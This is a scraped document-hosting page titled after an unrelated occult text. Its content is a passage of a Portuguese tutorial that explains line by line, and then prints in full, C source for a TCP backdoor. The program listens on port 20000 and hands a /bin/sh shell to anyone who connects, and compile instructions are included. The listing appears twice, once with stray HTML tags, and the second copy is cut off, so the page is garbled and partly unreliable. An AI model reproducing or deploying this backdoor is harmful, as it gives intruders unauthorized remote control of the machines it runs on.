Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum Liber 000 - Astrum Argentum

astrumargentum.org
from astrumargentum.org More from this publisher
01.01.2013 Views

struct sockaddr_in server_address; struct sockaddr_in client_address; Declaração dos sockets do cliente e do servidor além de variáveis auxiliares que iremos utilizar mais a frente. A clientpid e a serverpid, serão utilizadas para a abertura de processos mais tarde. sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bzero((char *) &server_address, sizeof(server_address)); server_address.sin_family=AF_INET; server_address.sin_port=htons(PORTA); server_address.sin_addr.s_addr=htonl(INADDR_ANY); bind(sockfd, (struct sockaddr *)&server_address, sizeof (server_address)); listen(sockfd, 5); signal(SIGHUP, SIG_IGN); Declaração dos sockets aqui vemos as linhas chaves de nosso programa. Declaramos socket sockfd, em seguida obtemos o IP da máquina que hospeda o backdoor (server_address.sin_family=AF_INET;). Em seguida declaramos a porta do qual o backddor estará ouvindo as conexões.( server_address.sin_port=htons(PORTA);) e por último utilizamos a função bind da qual associamos a porta TCP ao socket. E por último colocamos o socket em escuta, aguardando as conexões (listen (sockfd, 5);), tratando alguns sinais importantes no sistema (signal (SIGHUP, SIG_IGN);). Este é o cérebro de nosso programa. socklen=sizeof(client_address); temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen); Nesta fase tratamos a conexão do cliente colocando na variável temp o accept para a conexão feita pelo cliente. write(temp, MSGINI, sizeof(MSGINI)); if (temp < 0) exit(0); clientpid=getpid(); serverpid=fork(); if (serverpid != 0) { dup2(temp,0); dup2(temp,1); dup2(temp,2); execl("/bin/sh","/bin/sh",(char *)0; } close(temp); } Por último tartamos os PIDS e preparamos o ambiente para executar o shell (execl("/bin/sh","/bin/sh",(char *)0);/*) e pronto o backdoor estrá operando. 44

Apresentando o Código : Finalmente eis o código do backdoor : /* ====================================================================== | Exemplo de backdoor em protocolo TCP | | por Antonio Marcelo | | amarcelo@plebe.com.br | | outubro / 2002 | | visite a home page do autor em http://www.plebe.com.br | | Para compilar digite gcc -o backtcp backtcp.c | ====================================================================== */ #include #include #include #include #define PORTA 20000 /*Porta de Conexao do "backdoor"*/ #define MSGINI "Use virgulas no final dos comandos\n" /*Mensagem de boas vindas*/ int sockfd, count, clientpid, socklen, serverpid, temp, temp2,temp3,pid; struct sockaddr_in server_address; struct sockaddr_in client_address; main() { printf("\n---------\nExecutando no PID : %d\n---------\n",getpid()); sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bzero((char *) &server_address, sizeof(server_address)); server_address.sin_family=AF_INET; server_address.sin_port=htons(PORTA); server_address.sin_addr.s_addr=htonl(INADDR_ANY); bind(sockfd, (struct sockaddr *)&server_address, sizeof (server_address)); listen(sockfd, 5); signal(SIGHUP, SIG_IGN); socklen=sizeof(client_address); temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen); write(temp, MSGINI, sizeof(MSGINI)); if (temp < 0) exit(0); clientpid=getpid(); serverpid=fork(); if (serverpid != 0) { dup2(temp,0); dup2(temp,1); dup2(temp,2); execl("/bin/sh","/bin/sh",(char *)0);/*neste ponto executamos o shell*/ 45

Apresentando o Código :<br />

Finalmente eis o código do backdoor :<br />

/*<br />

======================================================================<br />

| Exemplo de backdoor em protocolo TCP |<br />

| por Antonio Marcelo |<br />

| amarcelo@plebe.com.br |<br />

| outubro / 2002 |<br />

| visite a home page do autor em http://www.plebe.com.br |<br />

| Para compilar digite gcc -o backtcp backtcp.c |<br />

======================================================================<br />

*/<br />

#include <br />

#include <br />

#include <br />

#include <br />

#define PORTA 2<strong>000</strong>0 /*Porta de Conexao do "backdoor"*/<br />

#define MSGINI "Use virgulas no final dos comandos\n" /*Mensagem de<br />

boas vindas*/<br />

int sockfd, count, clientpid, socklen, serverpid, temp,<br />

temp2,temp3,pid;<br />

struct sockaddr_in server_address;<br />

struct sockaddr_in client_address;<br />

main()<br />

{<br />

printf("\n---------\nExecutando no PID : %d\n---------\n",getpid());<br />

sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />

bzero((char *) &server_address, sizeof(server_address));<br />

server_address.sin_family=AF_INET;<br />

server_address.sin_port=htons(PORTA);<br />

server_address.sin_addr.s_addr=htonl(INADDR_ANY);<br />

bind(sockfd, (struct sockaddr *)&server_address, sizeof<br />

(server_address));<br />

listen(sockfd, 5);<br />

signal(SIGHUP, SIG_IGN);<br />

socklen=sizeof(client_address);<br />

temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen);<br />

write(temp, MSGINI, sizeof(MSGINI));<br />

if (temp < 0) exit(0);<br />

clientpid=getpid();<br />

serverpid=fork();<br />

if (serverpid != 0)<br />

{<br />

dup2(temp,0); dup2(temp,1); dup2(temp,2);<br />

execl("/bin/sh","/bin/sh",(char *)0);/*neste ponto executamos<br />

o shell*/<br />

45

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!